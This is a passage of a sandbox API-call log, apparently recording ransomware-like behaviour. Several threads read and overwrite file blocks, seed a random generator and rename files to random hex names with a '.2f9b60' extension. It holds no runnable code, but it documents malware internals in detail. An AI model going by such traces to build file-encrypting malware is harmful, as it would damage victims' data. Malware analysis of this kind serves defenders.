2 [0217.630] sprintf (in: _Dest=0x1b85881c, _Format="%c%c" | out: _Dest="f5") returned 2 [0217.630] sprintf (in: _Dest=0x1b85881e, _Format="%c%c" | out: _Dest="a2") returned 2 [0217.630] sprintf (in: _Dest=0x1b858820, _Format="%c%c" | out: _Dest="c6") returned 2 [0217.630] sprintf (in: _Dest=0x1b858822, _Format="%c%c" | out: _Dest="a9") returned 2 [0217.630] sprintf (in: _Dest=0x1b858824, _Format="%c%c" | out: _Dest="07") returned 2 [0217.630] sprintf (in: _Dest=0x1b858826, _Format="%c%c" | out: _Dest="63") returned 2 [0217.630] sprintf (in: _Dest=0x1b858828, _Format="%c%c" | out: _Dest="22") returned 2 [0217.630] sprintf (in: _Dest=0x1b85882a, _Format="%c%c" | out: _Dest="dc") returned 2 [0217.630] sprintf (in: _Dest=0x1b85882c, _Format="%c%c" | out: _Dest="8e") returned 2 [0217.631] sprintf (in: _Dest=0x1b85882e, _Format="%c%c" | out: _Dest="39") returned 2 [0217.631] sprintf (in: _Dest=0x1b858830, _Format="%c%c" | out: _Dest="ae") returned 2 [0217.631] sprintf (in: _Dest=0x1b858832, _Format="%c%c" | out: _Dest="0b") returned 2 [0217.631] sprintf (in: _Dest=0x1b858834, _Format="%c%c" | out: _Dest="7e") returned 2 [0217.631] sprintf (in: _Dest=0x1b858836, _Format="%c%c" | out: _Dest="1e") returned 2 [0217.631] sprintf (in: _Dest=0x1b858838, _Format="%c%c" | out: _Dest="41") returned 2 [0217.631] sprintf (in: _Dest=0x1b85883a, _Format="%c%c" | out: _Dest="6e") returned 2 [0217.631] sprintf (in: _Dest=0x1b85883c, _Format="%c%c" | out: _Dest="0a") returned 2 [0217.631] sprintf (in: _Dest=0x1b85883e, _Format="%c%c" | out: _Dest="90") returned 2 [0217.631] sprintf (in: _Dest=0x1b858840, _Format="%c%c" | out: _Dest="e2") returned 2 [0217.631] sprintf (in: _Dest=0x1b858842, _Format="%c%c" | out: _Dest="6c") returned 2 [0217.631] RtlInitAnsiString (in: DestinationString=0x1ed1f768, SourceString="d9ca06843a05ec2a2b27751fc2257fe8e54dcdc56056f5a2c6a9076322dc8e39ae0b7e1e416e0a90e26c" | out: DestinationString="d9ca06843a05ec2a2b27751fc2257fe8e54dcdc56056f5a2c6a9076322dc8e39ae0b7e1e416e0a90e26c") [0217.631] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ed1f738, SourceString="d9ca06843a05ec2a2b27751fc2257fe8e54dcdc56056f5a2c6a9076322dc8e39ae0b7e1e416e0a90e26c", AllocateDestinationString=1 | out: DestinationString="d9ca06843a05ec2a2b27751fc2257fe8e54dcdc56056f5a2c6a9076322dc8e39ae0b7e1e416e0a90e26c") returned 0x0 [0217.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4312bb60 [0217.632] wcscat (in: _Dest=0x43150140, _Source="d9ca06843a05ec2a2b277" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\d9ca06843a05ec2a2b277") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\d9ca06843a05ec2a2b277" [0217.632] wcscat (in: _Dest=0x43150140, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\d9ca06843a05ec2a2b277.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\d9ca06843a05ec2a2b277.2f9b60" [0217.632] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\d9ca06843a05ec2a2b277.2f9b60", NtPathName=0x1ed1f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\d9ca06843a05ec2a2b277.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x4312baa0 [0243.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312baa0) returned 1 [0243.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b9850) returned 1 [0243.753] NtQueryInformationFile (in: FileHandle=0x1610, IoStatusBlock=0x1ed1f778, FileInformation=0x1ed1f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1ed1f778, FileInformation=0x1ed1f788) returned 0x0 [0243.754] NtSetInformationFile (FileHandle=0x1610, IoStatusBlock=0x1ed1f778, FileInformation=0x1ed1f788, Length=0x28, FileInformationClass=0x4) Thread: id = 1683 os_tid = 0x1be0 [0129.557] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll")) returned 0x2020 [0129.561] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0129.564] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17e8 [0129.566] GetFileSizeEx (in: hFile=0x17e8, lpFileSize=0x1f04f7a0 | out: lpFileSize=0x1f04f7a0*=302944) returned 1 [0129.566] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x49f5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.566] ReadFile (in: hFile=0x17e8, lpBuffer=0x1f04f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f04f768, lpOverlapped=0x0 | out: lpBuffer=0x1f04f720*, lpNumberOfBytesRead=0x1f04f768*=0x4, lpOverlapped=0x0) returned 1 [0129.570] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265070 [0129.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265100 [0129.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265130 [0129.571] NtQuerySystemTime (in: CurrentTime=0x1f04f660 | out: CurrentTime=0x1f04f660*=132462177348226000) returned 0x0 [0129.571] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x33ea4ba4 [0129.571] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x4d65cba3 [0129.571] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x5e85cf0f [0129.571] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x4c39de63 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x330d297e [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x40727b9a [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x1d3ce8f4 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x7f1f3350 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x59ba4d4a [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x4ab7accd [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x4cdeffc4 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x66c833fe [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x1f1e6b6 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x511ef743 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x793d7a08 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x613e4496 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x48f890ed [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0xaae604 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0xbdd91d2 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x44226802 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x73ba84c2 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x27f8adce [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x6318ac06 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x252c23fe [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x312fd583 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x6bbf54b1 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x4b63a2a3 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x6ff080c3 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x4ce54163 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x70274860 [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x2582b27a [0129.572] RtlRandomEx (in: Seed=0x1f04f650 | out: Seed=0x1f04f650) returned 0x2b377031 [0129.579] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.580] ReadFile (in: hFile=0x17e8, lpBuffer=0x1ce95a30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f04f6c0, lpOverlapped=0x0 | out: lpBuffer=0x1ce95a30*, lpNumberOfBytesRead=0x1f04f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0129.590] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c300 [0129.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e210 [0129.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265070 [0129.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265070) returned 1 [0129.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce73da0 [0129.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265070 [0129.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202651c0 [0129.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202651c0) returned 1 [0129.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e210) returned 1 [0129.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c300) returned 1 [0129.592] WriteFile (hFile=0x17e8, lpBuffer=0x1ce73da0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f04f6c0, lpOverlapped=0x0) [0180.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce73da0) returned 1 [0180.046] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.046] ReadFile (in: hFile=0x17e8, lpBuffer=0x1ce95a30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f04f6c0, lpOverlapped=0x0 | out: lpBuffer=0x1ce95a30*, lpNumberOfBytesRead=0x1f04f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.102] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f150 [0182.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f150) returned 1 [0182.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201a6910 [0182.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f150 [0182.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f180 [0182.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f180) returned 1 [0182.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.106] WriteFile (in: hFile=0x17e8, lpBuffer=0x201a6910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f04f6c0, lpOverlapped=0x0 | out: lpBuffer=0x201a6910*, lpNumberOfBytesWritten=0x1f04f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a6910) returned 1 [0198.027] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x46360, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.027] ReadFile (in: hFile=0x17e8, lpBuffer=0x1ce95a30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f04f6c0, lpOverlapped=0x0 | out: lpBuffer=0x1ce95a30*, lpNumberOfBytesRead=0x1f04f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.904] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x46360, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b980 [0198.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b980) returned 1 [0198.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420ff200 [0198.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b980 [0198.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b9b0 [0198.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b9b0) returned 1 [0198.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.908] WriteFile (in: hFile=0x17e8, lpBuffer=0x420ff200*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f04f6c0, lpOverlapped=0x0 | out: lpBuffer=0x420ff200*, lpNumberOfBytesWritten=0x1f04f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0213.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420ff200) returned 1 [0213.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f360 [0213.917] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.917] WriteFile (in: hFile=0x17e8, lpBuffer=0x431f50c0*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x1f04f770, lpOverlapped=0x0 | out: lpBuffer=0x431f50c0*, lpNumberOfBytesWritten=0x1f04f770*=0x154, lpOverlapped=0x0) returned 1 [0217.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0217.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb9f60 [0217.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aef0 [0217.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aef0) returned 1 [0217.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4205aef0 [0217.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ae30 [0217.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b1c0 [0217.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b1c0) returned 1 [0218.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9f60) returned 1 [0218.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0218.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce62690 [0218.127] sprintf (in: _Dest=0x1ce62690, _Format="%c%c" | out: _Dest="ee") returned 2 [0218.127] sprintf (in: _Dest=0x1ce62692, _Format="%c%c" | out: _Dest="73") returned 2 [0218.127] sprintf (in: _Dest=0x1ce62694, _Format="%c%c" | out: _Dest="3e") returned 2 [0218.127] sprintf (in: _Dest=0x1ce62696, _Format="%c%c" | out: _Dest="56") returned 2 [0218.127] sprintf (in: _Dest=0x1ce62698, _Format="%c%c" | out: _Dest="0f") returned 2 [0218.127] sprintf (in: _Dest=0x1ce6269a, _Format="%c%c" | out: _Dest="2e") returned 2 [0218.127] sprintf (in: _Dest=0x1ce6269c, _Format="%c%c" | out: _Dest="87") returned 2 [0218.127] sprintf (in: _Dest=0x1ce6269e, _Format="%c%c" | out: _Dest="0a") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626a0, _Format="%c%c" | out: _Dest="b1") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626a2, _Format="%c%c" | out: _Dest="98") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626a4, _Format="%c%c" | out: _Dest="22") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626a6, _Format="%c%c" | out: _Dest="88") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626a8, _Format="%c%c" | out: _Dest="18") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626aa, _Format="%c%c" | out: _Dest="2d") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626ac, _Format="%c%c" | out: _Dest="12") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626ae, _Format="%c%c" | out: _Dest="22") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626b0, _Format="%c%c" | out: _Dest="d8") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626b2, _Format="%c%c" | out: _Dest="04") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626b4, _Format="%c%c" | out: _Dest="37") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626b6, _Format="%c%c" | out: _Dest="8b") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626b8, _Format="%c%c" | out: _Dest="5a") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626ba, _Format="%c%c" | out: _Dest="04") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626bc, _Format="%c%c" | out: _Dest="35") returned 2 [0218.127] sprintf (in: _Dest=0x1ce626be, _Format="%c%c" | out: _Dest="e3") returned 2 [0218.128] sprintf (in: _Dest=0x1ce626c0, _Format="%c%c" | out: _Dest="04") returned 2 [0218.128] sprintf (in: _Dest=0x1ce626c2, _Format="%c%c" | out: _Dest="20") returned 2 [0218.128] sprintf (in: _Dest=0x1ce626c4, _Format="%c%c" | out: _Dest="d5") returned 2 [0218.128] sprintf (in: _Dest=0x1ce626c6, _Format="%c%c" | out: _Dest="5d") returned 2 [0218.128] sprintf (in: _Dest=0x1ce626c8, _Format="%c%c" | out: _Dest="ea") returned 2 [0218.128] sprintf (in: _Dest=0x1ce626ca, _Format="%c%c" | out: _Dest="9b") returned 2 [0218.128] sprintf (in: _Dest=0x1ce626cc, _Format="%c%c" | out: _Dest="18") returned 2 [0218.128] sprintf (in: _Dest=0x1ce626ce, _Format="%c%c" | out: _Dest="73") returned 2 [0218.128] sprintf (in: _Dest=0x1ce626d0, _Format="%c%c" | out: _Dest="69") returned 2 [0218.128] sprintf (in: _Dest=0x1ce626d2, _Format="%c%c" | out: _Dest="6e") returned 2 [0218.128] RtlInitAnsiString (in: DestinationString=0x1f04f7e8, SourceString="ee733e560f2e870ab1982288182d1222d804378b5a0435e30420d55dea9b1873696e" | out: DestinationString="ee733e560f2e870ab1982288182d1222d804378b5a0435e30420d55dea9b1873696e") [0218.128] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f04f7b8, SourceString="ee733e560f2e870ab1982288182d1222d804378b5a0435e30420d55dea9b1873696e", AllocateDestinationString=1 | out: DestinationString="ee733e560f2e870ab1982288182d1222d804378b5a0435e30420d55dea9b1873696e") returned 0x0 [0218.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x205084f0 [0218.128] wcscat (in: _Dest=0x20508450, _Source="ee733e560f2e870ab" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ee733e560f2e870ab") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ee733e560f2e870ab" [0218.128] wcscat (in: _Dest=0x20508450, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ee733e560f2e870ab.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ee733e560f2e870ab.2f9b60" [0218.128] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ee733e560f2e870ab.2f9b60", NtPathName=0x1f04f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ee733e560f2e870ab.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x202783b0 Thread: id = 1684 os_tid = 0x1be4 [0129.560] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll")) returned 0x2020 [0129.562] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll", dwFileAttributes=0x20) returned 1 [0129.565] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xab4 [0129.568] GetFileSizeEx (in: hFile=0xab4, lpFileSize=0x1f4efac0 | out: lpFileSize=0x1f4efac0*=49504) returned 1 [0129.569] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0xc15c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.569] ReadFile (in: hFile=0xab4, lpBuffer=0x1f4efa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f4efa88, lpOverlapped=0x0 | out: lpBuffer=0x1f4efa40*, lpNumberOfBytesRead=0x1f4efa88*=0x4, lpOverlapped=0x0) returned 1 [0129.581] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265070 [0129.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265130 [0129.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202651c0 [0129.581] NtQuerySystemTime (in: CurrentTime=0x1f4ef980 | out: CurrentTime=0x1f4ef980*=132462177348382000) returned 0x0 [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x48b938a0 [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x202440db [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x21bd34c [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x6a19db06 [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x16bbfd19 [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x116d916 [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x36a452b2 [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x55006372 [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x542234c3 [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x62fa0479 [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x6c64bc37 [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x84bef1f [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x84daae3 [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x3b9e7aba [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x7d2b166e [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x2a6bbefe [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x6a851e23 [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x7b2263b2 [0129.581] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x64a08f96 [0129.582] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x163894f3 [0129.582] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x4336f39e [0129.582] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x215a13e7 [0129.582] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x44bf2a93 [0129.582] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x305dbddf [0129.582] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x78f2f3bd [0129.582] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x54bdaeba [0129.582] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x446dae1a [0129.582] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x136aaec [0129.582] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x5986ae34 [0129.582] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x19e11732 [0129.582] RtlRandomEx (in: Seed=0x1f4ef970 | out: Seed=0x1f4ef970) returned 0x56a2b339 [0129.582] RtlRandomEx (in: Seed=0x1f4ef970 | out: 